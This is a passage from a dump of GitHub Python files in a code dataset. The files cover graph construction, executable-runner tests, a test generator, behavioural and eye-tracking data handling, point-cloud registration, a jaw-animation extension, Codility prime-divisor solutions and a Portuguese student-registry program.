weight=0, reaction=14)\n\n g.add_edge(9, 13, weight=0, reaction=15)\n g.add_edge(8, 13, weight=0, reaction=15)\n\n g.add_edge(11, 14, weight=0, reaction=16)\n g.add_edge(13, 10, weight=0, reaction=17)\n g.add_edge(13, 14, weight=0, reaction=18)\n g.add_edge(5, 15, weight=0, reaction=19)\n g.add_edge(14, 15, weight=0, reaction=20)\n g.add_edge(12, 15, weight=0, reaction=21)\n g.add_edge(11, 15, weight=0, reaction=22)\n g.add_edge(4, 1, weight=1, reaction=23)\n g.add_edge(13, 11, weight=0, reaction=24)\n g.add_edge(11, 9, weight=1, reaction=25)\n g.add_edge(10, 15, weight=0, reaction=26)\n\n return g\n","repo_name":"stashkov/Signal2RGraph","sub_path":"examples/engelhardt_et_al.py","file_name":"engelhardt_et_al.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30013795239","text":"from uranium.exceptions import NonZeroExitCodeException\n\n\ndef test_hello_world(capfd, executables):\n desired_output = \"hello, world\"\n executables.run(\n [\"echo\", \"{0}\".format(desired_output)], subprocess_args={\"stdin\": None}\n )\n out, err = capfd.readouterr()\n assert out.strip() == \"hello, world\"\n\n\ndef test_exception_contains_executable_name(executables):\n try:\n executables.run([\"grep\"], link_streams=False)\n except NonZeroExitCodeException as e:\n assert \"grep\" in str(e)\n else:\n assert False\n","repo_name":"toumorokoshi/uranium","sub_path":"uranium/tests/test_executables.py","file_name":"test_executables.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"70"} +{"seq_id":"3801394284","text":"from lib.testgen import TestSet\nfrom lib.random import randint, seed\n\n\ndef question(n):\n return '{}\\n'.format(n)\n\n\ndef solve(n):\n arr = [0] * 10\n while n > 0:\n arr[n % 10] += 1\n n //= 10\n\n for i in range(1, 10):\n if arr[i] > 0:\n digit = str(i)\n arr[i] -= 1\n break\n\n return digit + \\\n ''.join(map(lambda i: str(i) * arr[i], range(10)))\n\n\ndef answer(n):\n return solve(n) + '\\n'\n\n\ntests = TestSet()\ndef add(i):\n tests.add(question(i), answer(i))\n\n\nseed(42)\nadd(1)\nadd(randint(2, 9))\nadd(randint(1, 9) * 10)\nadd(randint(11, 99) * 10 ** 90)\nadd(randint(101, 999) * 10 ** 80)\n\nfor _ in range(7):\n add(randint(10 ** 3, 10 ** 10) * 10 ** randint(20, 80) + \\\n randint(100, 10 ** 40))\n\nadd(10 ** 100 - randint(1, 9))\nadd(10 ** 100)\n","repo_name":"yudai-patronai/problembook","sub_path":"problems/arrays/min_number/test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2298198004","text":"import numpy as np\n\nfrom data_management.database import Database\nfrom utils.utils import log, today\n\n\nclass DataManager(object):\n\n name = \"DataManager\"\n\n def __init__(self, monkey, starting_point=\"2016-12-01\", end_point=today(), database_path=None):\n\n self.db = Database(database_path)\n self.monkey = monkey\n self.starting_point = starting_point\n self.end_point = end_point\n\n def select_relevant_dates(self, dates_list):\n\n log(\"Starting point: {}.\".format(self.starting_point), self.name)\n log(\"End point: {}.\".format(self.end_point), self.name)\n\n starting_point = [int(i) for i in self.starting_point.split(\"-\")]\n end_point = [int(i) for i in self.end_point.split(\"-\")]\n\n relevant_dates = []\n for str_date in dates_list:\n\n date = [int(i) for i in str_date.split(\"-\")]\n\n # If year of date is between the years of starting point and end point (but not equal to them)\n if starting_point[0] < date[0] < end_point[0]:\n relevant_dates.append(str_date)\n\n elif starting_point[0] > date[0] or date[0] > end_point[0]:\n continue\n\n # If year of date is equal to the years of starting point and end point (which are equal)\n elif date[0] == starting_point[0] == end_point[0]:\n\n if starting_point[1] > date[1] or date[1] > end_point[1]:\n continue\n\n elif (end_point[1] > date[1] > starting_point[1]) \\\n or (date[1] == starting_point[1] == end_point[1]\n and starting_point[2] <= date[2] <= end_point[2]) \\\n or (date[1] == starting_point[1]\n and date[2] >= starting_point[2]) \\\n or (date[1] == end_point[1]\n and date[2] <= end_point[2]):\n relevant_dates.append(str_date)\n\n # If year of date is equal to the year of starting point (and is inferior to the year of end point)\n elif date[0] == starting_point[0]:\n\n if (date[1] > starting_point[1])\\\n or (date[1] == starting_point[1]\n and date[2] >= starting_point[2]):\n relevant_dates.append(str_date)\n\n # If year of date is equal to the year of starting point (and is superior to the year of starting point)\n elif date[0] == end_point[0]:\n\n if (date[1] < end_point[1]) \\\n or (date[1] == end_point[1]\n and date[2] <= end_point[2]):\n relevant_dates.append(str_date)\n\n return relevant_dates\n\n def get_dates(self):\n\n assert self.db.table_exists(\"summary\")\n all_dates = np.unique(self.db.read_column(table_name=\"summary\", column_name='date', monkey=self.monkey))\n assert len(all_dates)\n dates = self.select_relevant_dates(all_dates)\n\n log(\"N dates: {}.\".format(len(dates)), self.name)\n log(\"Relevant dates: {}\".format(dates), self.name)\n\n return dates\n\n def get_errors_p_x0_x1_choices_from_db(self, dates):\n\n p = {\"left\": [], \"right\": []}\n x0 = {\"left\": [], \"right\": []}\n x1 = {\"left\": [], \"right\": []}\n error = []\n choice = []\n session = []\n date_list = []\n\n for idx, date in enumerate(sorted(dates)):\n\n session_table = \\\n self.db.read_column(table_name=\"summary\", column_name='session_table',\n monkey=self.monkey, date=date)\n\n if type(session_table) == list:\n session_table = session_table[-1]\n\n error_session = self.db.read_column(table_name=session_table, column_name=\"error\")\n choice_session = self.db.read_column(table_name=session_table, column_name=\"choice\")\n\n error += error_session\n choice += choice_session\n\n session += [idx, ] * len(error_session)\n date_list += [date, ] * len(error_session)\n\n for side in [\"left\", \"right\"]:\n\n p[side] += \\\n [float(i) for i in self.db.read_column(table_name=session_table, column_name='{}_p'.format(side))]\n x0[side] += \\\n [int(i) for i in self.db.read_column(table_name=session_table, column_name='{}_x0'.format(side))]\n x1[side] += \\\n [int(i) for i in self.db.read_column(table_name=session_table, column_name='{}_x1'.format(side))]\n\n return error, p, x0, x1, choice, session, date_list\n\n def filter_valid_trials(self, error, p, x0, x1, choice, session, date):\n\n new_p = {\"left\": [], \"right\": []}\n new_x0 = {\"left\": [], \"right\": []}\n new_x1 = {\"left\": [], \"right\": []}\n new_choice = []\n new_session = []\n new_date = []\n\n valid_trials = np.where(np.asarray(error) == \"None\")[0]\n log(\"N valid trials: {}.\".format(len(valid_trials)), self.name)\n\n for valid_idx in valid_trials:\n\n new_date.append(date[valid_idx])\n new_session.append(session[valid_idx])\n new_choice.append(choice[valid_idx])\n\n for side in [\"left\", \"right\"]:\n\n new_p[side].append(p[side][valid_idx])\n new_x0[side].append(x0[side][valid_idx])\n new_x1[side].append(x1[side][valid_idx])\n\n for side in [\"left\", \"right\"]:\n new_p[side] = np.asarray(new_p[side])\n new_x0[side] = np.asarray(new_x0[side])\n new_x1[side] = np.asarray(new_x1[side])\n\n new_choice = np.asarray(new_choice)\n new_session = np.asarray(new_session)\n new_date = np.asarray(new_date)\n return new_p, new_x0, new_x1, new_choice, new_session, new_date\n\n def run(self):\n\n log(\"Import data for {}.\".format(self.monkey), self.name)\n\n dates = self.get_dates()\n\n assert len(dates), \"Fatal: No valid dates found, \\n\" \\\n \"Please give a look at the analysis parameters (analysis/parameters/parameters.py).\"\n\n error, p, x0, x1, choice, session, date = self.get_errors_p_x0_x1_choices_from_db(dates)\n p, x0, x1, choice, session, date = self.filter_valid_trials(error, p, x0, x1, choice, session, date)\n\n assert sum(x1[\"left\"]) == 0 and sum(x1[\"right\"]) == 0\n\n log(\"Done!\", self.name)\n\n return {\"p\": p, \"x0\": x0, \"x1\": x1, \"choice\": choice, \"session\": session, \"date\": date}\n\n\ndef import_data(monkey, starting_point=\"2016-12-01\", end_point=today(), database_path=None):\n\n d = DataManager(monkey=monkey, starting_point=starting_point, end_point=end_point, database_path=database_path)\n return d.run()\n\n\ndef main():\n\n d = DataManager(monkey='Havane', starting_point=\"2016-08-01\", end_point=today())\n return d.get_dates()\n\n\nif __name__ == \"__main__\":\n\n main()\n","repo_name":"AurelienNioche/MonkeyProject","sub_path":"data_management/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":6946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73967312546","text":"from datetime import datetime\n\nfrom src.tobii.GazeElement import GazeElement\n\n\nclass RawData:\n def __init__(self, screen_size, status):\n self.screen_size = screen_size\n self.status = status\n self.left_gaze_point_on_display_area = []\n self.right_gaze_point_on_display_area = []\n self.left_gaze_point_validity = []\n self.right_gaze_point_validity = []\n self.left_pupil_diameter = []\n self.left_pupil_validity = []\n self.right_pupil_diameter = []\n self.right_pupil_validity = []\n self.device_time_stamp = []\n\n def gaze_data_callback(self, gaze_data):\n self.left_gaze_point_on_display_area.append(gaze_data['left_gaze_point_on_display_area'])\n self.right_gaze_point_on_display_area.append(gaze_data['right_gaze_point_on_display_area'])\n self.left_gaze_point_validity.append(gaze_data['left_gaze_point_validity'])\n self.right_gaze_point_validity.append(gaze_data['right_gaze_point_validity'])\n self.left_pupil_diameter.append(gaze_data['left_pupil_diameter'])\n self.left_pupil_validity.append(gaze_data['left_pupil_validity'])\n self.right_pupil_diameter.append(gaze_data['right_pupil_diameter'])\n self.right_pupil_validity.append(gaze_data['right_pupil_validity'])\n self.device_time_stamp.append(gaze_data['device_time_stamp'])\n element = self.to_element()\n return element\n\n def to_element(self):\n index = len(self.left_gaze_point_on_display_area) - 1\n\n dictionary = {\n 'left_gaze_point_on_display_area': self.left_gaze_point_on_display_area[index],\n 'right_gaze_point_on_display_area': self.right_gaze_point_on_display_area[index],\n 'left_gaze_point_validity': self.left_gaze_point_validity[index],\n 'right_gaze_point_validity': self.right_gaze_point_validity[index],\n 'left_pupil_diameter': self.left_pupil_diameter[index],\n 'left_pupil_validity': self.left_pupil_validity[index],\n 'right_pupil_diameter': self.right_pupil_diameter[index],\n 'right_pupil_validity': self.right_pupil_validity[index],\n 'device_time_stamp': self.device_time_stamp[index],\n 'status': self.status\n }\n\n element = GazeElement(dictionary)\n element.initialize(self.screen_size)\n return element\n","repo_name":"DVL-Sejong/GazeTrackerGame","sub_path":"src/tobii/RawData.py","file_name":"RawData.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20353706725","text":"import os\nimport copy\nimport pickle\nimport numpy as np\nimport open3d as o3d\nfrom .read_object import *\nfrom tqdm import tqdm\n\ndef preprocess_and_save(folder, ref_name, save_path):\n \"\"\"\n Unify object sizes and orientation to the reference object\n @param folder: (in form of (data)/train/... and (data)/test/...)\n @param ref_name: name of the reference object\n @param save_path: preprocessed data will be saved here as 'train.txt' and 'test.txt'\n \"\"\"\n if not os.path.isdir(save_path):\n os.makedirs(save_path)\n\n print(\"Data path: \" + folder)\n print(\"Reference Object: \" + ref_name)\n print(\"Preprocessed data will be saved at: \" + save_path)\n train_folder = folder + \"train/\"\n test_folder = folder + \"test/\"\n\n train_filenames = listFileNames(train_folder)\n test_filenames = listFileNames(test_folder)\n\n print(\":::Start preprocessing train data...\")\n train_all = preprocessAll(train_filenames, folder + ref_name)\n print(\":::Finished preprocessing train data...\")\n print(\":::Start preprocessing test data...\")\n test_all = preprocessAll(test_filenames, folder + ref_name)\n print(\":::Finished preprocessing test data...\")\n\n train_save_filename = open(save_path + 'train.txt', 'wb')\n pickle.dump(train_all, train_save_filename)\n\n test_save_filename = open(save_path + 'test.txt', 'wb')\n pickle.dump(test_all, test_save_filename)\n print(\"Preprocessed data are saved at: \" + save_path)\n\ndef scale_point_cloud(pcd, target_size):\n \"\"\"\n scale the data to let the feature with maxmium value to target_size\n and the data is move to the min = 0\n @param pcd: original open3D.PointCloud\n @param target_size: int\n @return: scaled open3D.PointCloud\n \"\"\"\n X = np.asarray(pcd.points)\n all_scale = np.array(\n [np.max(X[:, 0]) - np.min(X[:, 0]), np.max(X[:, 1]) - np.min(X[:, 1]), np.max(X[:, 2]) - np.min(X[:, 2])])\n max_scale = np.max(all_scale)\n X = X / max_scale * target_size\n pcd_scale = o3d.geometry.PointCloud()\n pcd_scale.points = o3d.utility.Vector3dVector(X)\n\n return pcd_scale\n\n\ndef prepare_point_cloud(pcd, target_size=1000, voxel_size=20):\n \"\"\"\n preprocessing point cloud\n @param pcd: original open3D.PointCloud\n @param target_size: int\n @param voxel_size: int\n @return: downsampled open3D.PointCloud, FPFH of this point cloud\n \"\"\"\n # print(\":: Scale to a max size %d\" % target_size)\n pcd_scale = scale_point_cloud(pcd, target_size)\n\n # print(\":: Downsample with a voxel size %.3f.\" % voxel_size)\n pcd_down = pcd_scale.voxel_down_sample(voxel_size)\n\n radius_normal = voxel_size * 2\n # print(\":: Estimate normal with search radius %.3f.\" % radius_normal)\n pcd_down.estimate_normals(\n o3d.geometry.KDTreeSearchParamHybrid(radius=radius_normal, max_nn=30))\n\n radius_feature = voxel_size * 5\n # print(\":: Compute FPFH feature with search radius %.3f.\" % radius_feature)\n pcd_fpfh = o3d.pipelines.registration.compute_fpfh_feature(pcd_down,\n o3d.geometry.KDTreeSearchParamHybrid(\n radius=radius_feature, max_nn=100))\n\n return pcd_down, pcd_fpfh\n\n\ndef GCP_registration(source_down, target_down, source_fpfh,\n target_fpfh, voxel_size=20):\n \"\"\"\n Reference: Open3D tutorial documents http://www.open3d.org/docs/release/tutorial/pipelines/global_registration.html\n Apply Global Registration to the source data\n @param folder: (in form of (data)/train/... and (data)/test/...)\n @param ref_name: name of the reference object\n @param save_path: preprocessed data will be saved here as 'train.txt' and 'test.txt'\n \"\"\"\n distance_threshold = voxel_size * 1.2\n # print(\":: RANSAC registration on downsampled point clouds.\")\n # print(\" Since the downsampling voxel size is %.3f,\" % voxel_size)\n # print(\" we use a liberal distance threshold %.3f.\" % distance_threshold)\n result = o3d.pipelines.registration.registration_ransac_based_on_feature_matching(\n source_down, target_down, source_fpfh, target_fpfh, True,\n distance_threshold,\n o3d.pipelines.registration.TransformationEstimationPointToPoint(False),\n 3, [\n o3d.pipelines.registration.CorrespondenceCheckerBasedOnEdgeLength(\n 0.9),\n o3d.pipelines.registration.CorrespondenceCheckerBasedOnDistance(\n distance_threshold)\n ], o3d.cpu.pybind.pipelines.registration.RANSACConvergenceCriteria(max_iteration=100000, confidence=0.999))\n\n return result\n\n\ndef ICP_registration(source_down, target_down, threshold, result_ransac):\n \"\"\"\n Reference: Open3D tutorial documents http://www.open3d.org/docs/release/tutorial/pipelines/global_registration.html\n Apply Global Registration to the source data\n @param folder: (in form of (data)/train/... and (data)/test/...)\n @param ref_name: name of the reference object\n @param save_path: preprocessed data will be saved here as 'train.txt' and 'test.txt'\n \"\"\"\n return o3d.pipelines.registration.registration_icp(\n source_down, target_down, threshold, result_ransac.transformation,\n o3d.pipelines.registration.TransformationEstimationPointToPoint(),\n o3d.pipelines.registration.ICPConvergenceCriteria(max_iteration = 10000))\n\ndef preprocess(data, target_down, target_fpfh, ICP_threshold = 15, target_size=1000, voxel_size=20, n_iter = 20):\n source_down, source_fpfh = prepare_point_cloud(data, target_size, voxel_size)\n transformations = []\n scores = []\n for i in range(n_iter):\n GCP_transformation = GCP_registration(source_down, target_down, source_fpfh, target_fpfh, voxel_size)\n ICP_transformation = ICP_registration(source_down, target_down, ICP_threshold, GCP_transformation)\n transformations.append(ICP_transformation)\n scores.append(ICP_transformation.fitness)\n\n max_idx = scores.index(max(scores))\n Max_Transformation = transformations[max_idx]\n\n source_temp = copy.deepcopy(source_down)\n source_temp.transform(Max_Transformation.transformation)\n return source_temp\n\ndef listFileNames(folder):\n \"\"\"Walk through every files in a directory\"\"\"\n filenames = []\n for dirpath, dirs, files in os.walk(folder):\n for filename in files:\n filenames.append(os.path.abspath(os.path.join(dirpath, filename)))\n\n return filenames\n\ndef preprocessAll(filenames, ref_name, target_size=1000, voxel_size=20):\n \"\"\"\n filenames: list of filenames (output of listFileNames)\n return list of scaled and downsampled data\n \"\"\"\n reference = read_pointcloud(ref_name)\n reference_down, reference_fpfh = prepare_point_cloud(reference, target_size, voxel_size)\n\n pcd_all = []\n for filename in tqdm(filenames):\n pcd = read_pointcloud(filename)\n pcd_after = preprocess(pcd, reference_down, reference_fpfh)\n if (np.asarray(pcd_after.points).shape[0]) > 500:\n pcd_all.append(np.asarray(pcd_after.points).T)\n\n return pcd_all\n","repo_name":"Duke-Summer-2022-3DMM/3D-Morphable-Model-Tutorial","sub_path":"summer2022_toolbox/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":7155,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"8415884842","text":"import os\nimport threading\nimport time\n\nfrom PySide2.QtCore import QTimer\nfrom PySide2.QtMultimedia import QSound\nfrom opencmiss.neon.extensions.nbmday import NBMDay\n\nfrom opencmiss.extensions.nbmday import __version__ as extension_version\nfrom opencmiss.extensions.nbmday.dockwidget import DockWidget\nfrom opencmiss.extensions.nbmday.model import Model\nfrom opencmiss.extensions.nbmday.scene import Scene, get_jaw_rotation\n\nimport cProfile as profile\n\nclass MainNBMDay(NBMDay):\n \"\"\"Main class for the National Bio-mechanics Day extension.\"\"\"\n\n def __init__(self, main_view):\n self._model = Model(main_view.get_zinc_context())\n self._scene = Scene(self._model)\n self._widget = DockWidget(main_view)\n # self._view = View(self._model)\n self._make_connections()\n self._current_sound = \"standard_laugh.wav\"\n self._timer = QTimer()\n self._timer.setInterval(20)\n self._timer.timeout.connect(self._update_jaw)\n self._elapsed_time = 0.0\n self._start_time = time.time()\n self._sound = None\n self._sound_thread = None\n self._code_object = None\n\n def _make_connections(self):\n self._widget.simulate.connect(self._simulate)\n\n def _simulate(self):\n\n self._widget.enable_simulation(False)\n code_string = \"\"\"from math import cos, sin, sqrt, exp\n\"\"\"\n code_string += self._widget.get_code()\n code_string += \"\"\"\nangle = animate_jaw(elapsed_time)\n\"\"\"\n self._code_object = compile(code_string, '', 'exec')\n elapsed_time = 0.0\n angle = 0.0\n try:\n exec(self._code_object)\n except Exception as e:\n print(e)\n # projection_matrix = get_jaw_rotation(angle)\n self._scene.update_angle(angle)\n sound_file = os.path.join(os.path.dirname(__file__), 'sounds', self._current_sound)\n # self._sound_thread = FunctionArgumentThread(play_sound, sound_file)\n #\n # self._sound_thread.start()\n self._sound_thread = QSound(sound_file)\n self._sound_thread.play()\n # print(self._sound_thread)\n # QSound.play(sound_file)\n self._start_time = time.time()\n self._timer.start()\n\n def _update_jaw(self):\n if not self._sound_thread.isFinished():\n angle = 0.0\n elapsed_time = time.time() - self._start_time\n exec (self._code_object)\n # projection_matrix = get_jaw_rotation(angle)\n self._scene.update_angle(angle)\n else:\n self._widget.enable_simulation(True)\n self._timer.stop()\n\n # def _slow_code(self):\n # angle = 0.0\n # elapsed_time = time.time() - self._start_time\n # exec (self._code_object)\n # projection_matrix = get_jaw_rotation(angle)\n # self._scene.update_projection_values(projection_matrix)\n\n def save(self):\n saved_data = {\"version\": extension_version, \"current_sound\": self._current_sound}\n\n return saved_data\n\n def _load_setting(self, json_data, key):\n if key in json_data:\n setattr(self, \"_%s\" % key, json_data[key])\n\n def open(self, saved_data):\n if \"version\" in saved_data:\n if saved_data[\"version\"] in extension_version:\n self._load_setting(saved_data, \"current_sound\")\n\n\ndef play_sound(sound_file):\n print(\"play sound: %s\" % sound_file)\n QSound.play(sound_file)\n # sound.play()\n # QSound.play(sound_file)\n\n\nclass FunctionArgumentThread(threading.Thread):\n\n def __init__(self, target, *args):\n self._target = target\n self._args = args\n threading.Thread.__init__(self)\n\n def run(self):\n self._target(*self._args)\n\n# node_location_right = [[55.27, 15.22, -36.96], [52.72, 41.04, -44.22]]\n# node_location_left = [[55.27, 15.22, -36.96], [52.72, 40.81, -43.53]]\n# 53.995\n# 28.13\n# -40.59\n#\n# 53.995\n# 28.015\n# -40.245\n#\n# 212,252,291,312","repo_name":"hsorby/neon.extension.nbmday","sub_path":"src/opencmiss/extensions/nbmday/nbmday.py","file_name":"nbmday.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"40495912936","text":"# -*- coding: utf-8 -*-\n\"\"\"\nhttps://codility.com/demo/results/trainingUYCYDF-9TR/\nA prime is a positive integer X that has exactly two distinct divisors: 1 and X. The first few prime integers are 2, 3, 5, 7, 11 and 13.\n\nA prime D is called a prime divisor of a positive integer P if there exists a positive integer K such that D * K = P. For example, 2 and 5 are prime divisors of 20.\n\nYou are given two positive integers N and M. The goal is to check whether the sets of prime divisors of integers N and M are exactly the same.\n\nFor example, given:\n\nN = 15 and M = 75, the prime divisors are the same: {3, 5};\nN = 10 and M = 30, the prime divisors aren't the same: {2, 5} is not equal to {2, 3, 5};\nN = 9 and M = 5, the prime divisors aren't the same: {3} is not equal to {5}.\nWrite a function:\n\ndef solution(A, B)\nthat, given two non-empty zero-indexed arrays A and B of Z integers, returns the number of positions K for which the prime divisors of A[K] and B[K] are exactly the same.\n\nFor example, given:\n\n A[0] = 15 B[0] = 75\n A[1] = 10 B[1] = 30\n A[2] = 3 B[2] = 5\nthe function should return 1, because only one pair (15, 75) has the same set of prime divisors.\n\nAssume that:\n\nZ is an integer within the range [1..6,000];\neach element of arrays A, B is an integer within the range [1..2,147,483,647].\nComplexity:\n\nexpected worst-case time complexity is O(Z*log(max(A)+max(B))2);\nexpected worst-case space complexity is O(1), beyond input storage (not counting the storage required for input arguments).\nElements of input arrays can be modified.\n\"\"\"\n\nfrom measure import measure\n\n\n@measure\ndef get_gd(u, v):\n while v:\n u, v = v, u % v\n return abs(u)\n\n\n# Делим rest на общий делитель пока не получим единицу. Если не делится и rest > 1, значит мимо.\n@measure\ndef check_gd_and_rest(gd, rest):\n while rest > 1:\n new_gd = get_gd(gd, rest)\n if new_gd > 1:\n rest = rest / new_gd\n return check_gd_and_rest(gd, rest)\n else:\n return False\n if rest > 1:\n return False\n else:\n return True\n\n\n@measure\ndef solution(A, B):\n L = len(A)\n count = 0\n\n for i in range(L):\n a = A[i]\n b = B[i]\n gd = get_gd(a, b)\n rest_a = a / gd\n rest_b = b / gd\n\n if check_gd_and_rest(gd, rest_a) and check_gd_and_rest(gd, rest_b):\n count += 1\n\n return count\n\n\nA = [2 * 3 * 5 * 5 * 5 * 3 * 2 * 7]\nB = [2 * 3 * 5 * 3]\nsol = solution(A, B)\nprint(sol)\n\nprint(measure.timers)\nprint(measure.calls)\n\n\"\"\"\n\n# 76%. Need ti be little faster\n\ncached_primes = {}\n\n@measure\ndef get_primes(N):\n res = cached_primes.get(N, None)\n if res is None:\n primes = [True for _ in range(N + 2)]\n i = 1\n while i * i <= N:\n i += 1\n if primes[i] == False:\n continue\n first = True\n j = i\n while j <= N:\n if first:\n j = j * j\n first = False\n else:\n j += i\n if j <= N:\n primes[j] = False\n res = set()\n for i in range(2, N + 1):\n if primes[i]:\n res.add(i)\n cached_primes[N] = res\n return res\n\n@measure\ndef get_gd(a, b):\n if b > a:\n a, b = b, a\n if a == b:\n return a\n else:\n mod = a % b\n if mod == 0:\n return b\n else:\n return get_gd(b, mod)\n\n\n@measure\ndef solution(A, B):\n L = len(A)\n count = 0\n for i in range(L):\n a = A[i]\n b = B[i]\n gd = get_gd(a, b)\n rest_a = a / gd\n rest_b = b / gd\n left_primes = get_primes(rest_a)\n\n\n left_primes_ok = True\n for left_prime in left_primes:\n if gd % left_prime != 0 and rest_a % left_prime == 0:\n left_primes_ok = False\n break\n\n\n if left_primes_ok:\n right_primes_ok = True\n right_primes = get_primes(rest_b)\n for right_prime in right_primes:\n if gd % right_prime != 0 and rest_b % right_prime == 0:\n right_primes_ok = False\n break\n\n\n if left_primes_ok and right_primes_ok:\n count += 1\n\n\n return count\n\"\"\"\n\n\"\"\"\n# 84 %\n\n@measure\ndef get_primes(N):\n primes = set()\n i = 1\n while i < N:\n i += 1\n if i in primes:\n continue\n j = i\n first = True\n if N % i == 0:\n yield i\n while j <= N:\n primes.add(j)\n\n if first:\n j *= j\n first = False\n else:\n j += i\n\n\n@measure\ndef get_gd(a, b):\n if b > a:\n a, b = b, a\n if a == b:\n return a\n else:\n mod = a % b\n if mod == 0:\n return b\n else:\n return get_gd(b, mod)\n\n\n@measure\ndef solution(A, B):\n L = len(A)\n count = 0\n for i in range(L):\n a = A[i]\n b = B[i]\n gd = get_gd(a, b)\n rest_a = a / gd\n rest_b = b / gd\n\n left_primes_ok = True\n for left_prime in get_primes(rest_a):\n if gd % left_prime != 0:\n left_primes_ok = False\n break\n\n\n if left_primes_ok:\n right_primes_ok = True\n for right_prime in get_primes(rest_b):\n if gd % right_prime != 0:\n right_primes_ok = False\n break\n\n\n if left_primes_ok and right_primes_ok:\n count += 1\n\n return count\n\"\"\"\n\n\"\"\"\n# 69%\n\n@measure\ndef get_primes(N):\n primes = set()\n i = 1\n while i < N:\n i += 1\n if i in primes:\n continue\n j = i\n first = True\n if N % i == 0:\n yield i\n while j <= N:\n primes.add(j)\n\n if first:\n j *= j\n first = False\n else:\n j += i\n\n\n@measure\ndef get_gd(a, b):\n if b > a:\n a, b = b, a\n if a == b:\n return a\n else:\n mod = a % b\n if mod == 0:\n return b\n else:\n return get_gd(b, mod)\n\n\n@measure\ndef solution(A, B):\n L = len(A)\n count = 0\n for i in range(L):\n a = A[i]\n b = B[i]\n gd = get_gd(a, b)\n rest_a = a / gd\n rest_b = b / gd\n\n for prime in get_primes(gd):\n if rest_a == 1 and rest_b == 1:\n break\n while rest_a > 1:\n if rest_a % prime == 0:\n rest_a = rest_a / prime\n else:\n break\n while rest_b > 1:\n if rest_b % prime == 0:\n rest_b = rest_b / prime\n else:\n break\n\n if rest_a == 1 and rest_b == 1:\n count += 1\n\n return count\n\n\n\"\"\"\n","repo_name":"poleha/codility","sub_path":"common_prime_divisors.py","file_name":"common_prime_divisors.py","file_ext":"py","file_size_in_byte":6970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73011681827","text":"'''1) Implemente um sistema de informação que mantenha informações a respeito de alunos. Deve manter matrícula, nome, data de nascimento e ano de ingresso. O sistema deve listar os cadastrados, permitir inserção, remoção e alteração. Use dicionário e classe.'''\n\nclass Aluno:\n def __init__(self, matricula, nome, nascimento, ingresso):\n self.matricula = matricula\n self.nome = nome\n self.nascimento = nascimento\n self.ingresso = ingresso\n\n# Adicionar\ndef adicionar_aluno(alunos):\n matricula = input(\"\\nMatrícula: \")\n if matricula in alunos:\n print(\"\\nEssa matrícula já está cadastrada.\")\n else:\n nome = input(\"Nome: \")\n nascimento = input(\"Data de Nascimento: \")\n ingresso = input(\"Ano de Ingresso: \")\n aluno = Aluno(matricula, nome, nascimento, ingresso)\n alunos[matricula] = aluno\n print(\"\\nAluno cadastrado com sucesso.\")\n\n# Checar\ndef checar_alunos(alunos):\n if alunos == {}:\n print(\"\\nNenhum aluno cadastrado.\")\n else:\n print(\"\\n==Alunos Cadastrados==\")\n for matricula, aluno in alunos.items():\n print(f\"Matrícula: {matricula}\")\n print(f\"* Nome: {aluno.nome}\")\n print(f\"* Data de Nascimento: {aluno.nascimento}\")\n print(f\"* Ano de Ingresso: {aluno.ingresso}\")\n print()\n\n# Editar\ndef alterar_aluno(alunos, matriculado):\n if matriculado in alunos:\n aluno = alunos[matriculado]\n print()\n print(f\"Matrícula: {aluno.matricula}\")\n print(f\"Nome atual: {aluno.nome}\")\n novo_nome = input(\"Novo nome: \")\n print()\n print(f\"Data de Nascimento atual: {aluno.nascimento}\")\n novo_nascimento = input(\"Nova data de nascimento: \")\n print()\n print(f\"Ano de Ingresso atual: {aluno.ingresso}\")\n novo_ingresso = input(\"Novo ano de ingresso: \")\n \n aluno.nome = novo_nome\n aluno.nascimento = novo_nascimento\n aluno.ingresso = novo_ingresso\n print(\"\\nOs dados do aluno foram alterados com sucesso.\")\n else:\n print(\"\\nDesculpe essa matrícula não existe.\")\n \n# Remover\ndef remover_aluno(alunos, matriculado):\n if matriculado in alunos:\n del alunos[matriculado]\n print(\"Aluno removido com sucesso.\")\n else:\n print(\"\\nDesculpe, isso não é uma matrícula válida.\")\n\n####################\nalunos = {}\n\nwhile True:\n print(\"\\n=== Sistema de Cadastro Escolar ===\")\n print(\"Oque deseja fazer?\\n1- Adicionar um novo aluno.\\n2- Checar os dados dos alunos atuais.\\n3- Alterar os dados de um aluno cadastrado.\\n4- Remover um aluno.\\n5- Sair\\n\")\n opcao = input(\"Opção: \").upper()\n\n ## opção 1 | adicionar\n if opcao == \"1\" or opcao == \"ADICIONAR\":\n adicionar_aluno(alunos)\n\n ## opção 2 | checar\n elif opcao == \"2\" or opcao == \"CHECAR\":\n checar_alunos(alunos)\n\n ## opção 3 | editar\n elif opcao == \"3\" or opcao == \"ALTERAR\":\n if alunos == {}:\n print(\"\\nNenhum aluno cadastrado.\")\n else:\n matriculado = input(\"\\nDigite a matricula do aluno a ser alterado: \")\n alterar_aluno(alunos, matriculado)\n \n ## opção 4 | remover\n elif opcao == \"4\" or opcao == \"REMOVER\":\n if alunos == {}:\n print(\"\\nNenhum aluno cadastrado.\")\n else:\n matriculado = input(\"\\nDigite a matricula do aluno a ser removido: \")\n remover_aluno(alunos, matriculado)\n \n ## opção 5 | sair\n elif opcao == \"5\" or opcao == \"SAIR\":\n break\n \n ## opção erro\n else:\n print(\"\\nIsso não é uma opção válida. Digite 